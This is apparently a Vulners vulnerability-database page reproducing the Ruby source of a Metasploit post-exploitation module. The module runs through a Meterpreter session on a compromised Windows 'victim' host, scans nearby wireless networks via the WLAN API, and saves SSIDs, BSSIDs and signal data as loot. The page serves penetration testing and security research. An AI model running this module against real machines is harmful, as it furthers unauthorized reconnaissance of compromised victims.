Lucene search
K

Windows Gather Wireless BSS Info

🗓️ 15 Nov 2011 16:29:13Reported by theLightCosine <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 50 Views

This module gathers wireless Basic Service Sets information on victim machine

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Wireless BSS Info',
        'Description' => %q{
          This module gathers information about the wireless Basic Service Sets
          available to the victim machine.
        },
        'License' => MSF_LICENSE,
        'Author' => ['theLightCosine'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_sys_process_attach
              stdapi_sys_process_getpid
            ]
          }
        }
      )
    )
  end

  def run
    # Opens memory access into the host process
    mypid = client.sys.process.getpid
    @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
    @wlanapi = client.railgun.wlanapi

    wlan_connections = "Wireless LAN Active Connections: \n"

    wlan_handle = open_handle
    unless wlan_handle
      print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
      print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')
      return
    end

    wlan_iflist = enum_interfaces(wlan_handle)

    networks = []

    wlan_iflist.each do |interface|
      # Scan with the interface, then wait 10 seconds to give it time to finish
      # If we don't wait we can get unpredicatble results. May be a race condition
      scan_results = @wlanapi.WlanScan(wlan_handle, interface['guid'], nil, nil, nil)
      sleep(10)

      # Grab the list of available Basic Service Sets
      bss_list = wlan_get_networks(wlan_handle, interface['guid'])
      networks << bss_list
    end

    # flatten and uniq the array to try and keep a unique lsit of networks
    networks.flatten!
    networks.uniq!
    network_list = "Available Wireless Networks\n\n"
    networks.each do |network|
      netout = "SSID: #{network['ssid']} \n\tBSSID: #{network['bssid']} \n\tType: #{network['type']}\n\t"
      netout << "PHY: #{network['physical']} \n\tRSSI: #{network['rssi']} \n\tSignal: #{network['signal']}\n"
      print_good(netout)
      network_list << netout
    end

    # strip out any nullbytes for safe loot storage
    network_list.gsub!(/\x00/, '')
    store_loot('host.windows.wlan.networks', 'text/plain', session, network_list, 'wlan_networks.txt', 'Available Wireless LAN Networks')

    # close the Wlan API Handle
    closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
    if closehandle['return'] == 0
      print_status('WlanAPI Handle Closed Successfully')
    else
      print_error('There was an error closing the Handle')
    end
  end

  def open_handle
    begin
      wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)
    rescue StandardError
      return nil
    end
    return wlhandle['phClientHandle']
  end

  def wlan_get_networks(wlan_handle, guid)
    networks = []

    bss_list = @wlanapi.WlanGetNetworkBssList(wlan_handle, guid, nil, 3, true, nil, 4)
    pointer = bss_list['ppWlanBssList']
    totalsize = @host_process.memory.read(pointer, 4)
    totalsize = totalsize.unpack('V')[0]

    pointer = (pointer + 4)
    numitems = @host_process.memory.read(pointer, 4)
    numitems = numitems.unpack('V')[0]

    print_status("Number of Networks: #{numitems}")

    # Iterate through each BSS
    (1..numitems).each do |_i|
      bss = {}

      # If the length of the SSID is 0 then something is wrong. Skip this one
      pointer = (pointer + 4)
      len_ssid = @host_process.memory.read(pointer, 4)
      unless len_ssid.unpack('V')[0]
        next
      end

      # Grabs the ESSID
      pointer = (pointer + 4)
      ssid = @host_process.memory.read(pointer, 32)
      bss['ssid'] = ssid.gsub(/\x00/, '')

      # Grab the BSSID/MAC Address of the AP
      pointer = (pointer + 36)
      bssid = @host_process.memory.read(pointer, 6)
      bssid = bssid.unpack('H*')[0]
      bssid.insert(2, ':')
      bssid.insert(5, ':')
      bssid.insert(8, ':')
      bssid.insert(11, ':')
      bssid.insert(14, ':')
      bss['bssid'] = bssid

      # Get the BSS Type
      pointer = (pointer + 8)
      bsstype = @host_process.memory.read(pointer, 4)
      bsstype = bsstype.unpack('V')[0]
      case bsstype
      when 1
        bss['type'] = 'Infrastructure'
      when 2
        bss['type'] = 'Independent'
      when 3
        bss['type'] = 'Any'
      else
        bss['type'] = 'Unknown BSS Type'
      end

      # Get the Physical Association Type
      pointer = (pointer + 4)
      phy_type = @host_process.memory.read(pointer, 4)
      phy_type = phy_type.unpack('V')[0]
      case phy_type
      when 1
        bss['physical'] = 'Frequency-hopping spread-spectrum (FHSS)'
      when 2
        bss['physical'] = 'Direct sequence spread spectrum (DSSS)'
      when 3
        bss['physical'] = 'Infrared (IR) baseband'
      when 4
        bss['physical'] = 'Orthogonal frequency division multiplexing (OFDM)'
      when 5
        bss['physical'] = 'High-rate DSSS (HRDSSS)'
      when 6
        bss['physical'] = 'Extended rate PHY type'
      when 7
        bss['physical'] = '802.11n PHY type'
      else
        bss['physical'] = 'Unknown Association Type'
      end

      # Get the Received Signal Strength Indicator
      pointer = (pointer + 4)
      rssi = @host_process.memory.read(pointer, 4)
      rssi = getle_signed_int(rssi)
      bss['rssi'] = rssi

      # Get the signal strength
      pointer = (pointer + 4)
      signal = @host_process.memory.read(pointer, 4)
      bss['signal'] = signal.unpack('V')[0]

      # skip all the rest of the data points as they aren't particularly useful
      pointer = (pointer + 296)

      networks << bss
    end
    return networks
  end

  def enum_interfaces(wlan_handle)
    iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)
    pointer = iflist['ppInterfaceList']

    numifs = @host_process.memory.read(pointer, 4)
    numifs = numifs.unpack('V')[0]

    interfaces = []

    # Set the pointer ahead to the first element in the array
    pointer = (pointer + 8)
    (1..numifs).each do |_i|
      interface = {}
      # Read the GUID (16 bytes)
      interface['guid'] = @host_process.memory.read(pointer, 16)
      pointer = (pointer + 16)
      # Read the description(up to 512 bytes)
      interface['description'] = @host_process.memory.read(pointer, 512)
      pointer = (pointer + 512)
      # Read the state of the interface (4 bytes)
      state = @host_process.memory.read(pointer, 4)
      pointer = (pointer + 4)
      # Turn the state into human readable form
      state = state.unpack('V')[0]
      case state
      when 0
        interface['state'] = 'The interface is not ready to operate.'
      when 1
        interface['state'] = 'The interface is connected to a network.'
      when 2
        interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'
      when 3
        interface['state'] = 'The interface is disconnecting from the current network.'
      when 4
        interface['state'] = 'The interface is not connected to any network.'
      when 5
        interface['state'] = 'The interface is attempting to associate with a network.'
      when 6
        interface['state'] = 'Auto configuration is discovering the settings for the network.'
      when 7
        interface['state'] = 'The interface is in the process of authenticating.'
      else
        interface['state'] = 'Unknown State'
      end
      interfaces << interface
    end
    return interfaces
  end

  def getle_signed_int(str)
    arr = str.unpack('V*')
    bits = 0
    num = 0
    arr.each do |int|
      num += int << bits
      bits += 32
    end
    num >= 2**(bits - 1) ? num - 2**bits : num
  end

  # Convert the GUID to human readable form
  def guid_to_string(guid)
    aguid = guid.unpack('H*')[0]
    sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]
    sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]
    sguid << '-' + aguid[20, 12] + '}'
    return sguid
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
6.8Medium risk
Vulners AI Score6.8
50